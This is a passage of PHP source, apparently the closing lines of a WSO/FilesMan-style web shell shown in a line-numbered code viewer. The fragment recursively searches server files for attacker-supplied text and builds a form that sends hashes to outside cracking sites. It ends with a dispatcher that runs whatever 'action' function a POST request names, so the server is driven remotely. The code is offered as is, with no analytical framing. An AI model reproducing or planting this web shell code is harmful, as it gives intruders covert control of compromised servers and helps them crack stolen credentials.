| 1487 | if(@is_dir($item)){
| |
| 1488 | if($path!=$item) | |
| 1489 | tAivxvnGRecursiveGlob($item); | |
| 1490 | } else {
| |
| 1491 | if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false) | |
| 1492 | echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>"; | |
| 1493 | } | |
| 1494 | } | |
| 1495 | } | |
| 1496 | } | |
| 1497 | if(@$_POST['p3']) | |
| 1498 | tAivxvnGRecursiveGlob($_POST['c']); | |
| 1499 | echo "</div><br><h1>Search for hash:</h1><div class=content> | |
| 1500 | <form method='post' target='_blank' name='hf'> | |
| 1501 | <input type='text' name='hash' style='width:200px;'><br> | |
| 1502 | <input type='hidden' name='act' value='find'/> | |
| 1503 | <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br> | |
| 1504 | <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br> | |
| 1505 | <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br> | |
| 1506 | </form></div>"; | |
| 1507 | tAivxvnGFooter(); | |
| 1508 | }if( empty($_POST['a']) ) | |
| 1509 | if(isset($default_action) && function_exists('action' . $default_action))
| |
| 1510 | $_POST['a'] = $default_action; | |
| 1511 | else | |
| 1512 | $_POST['a'] = 'FilesMan'; | |
| 1513 | if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
| |
| 1514 | call_user_func('action' . $_POST['a']);
| |
| 1515 | exit; |
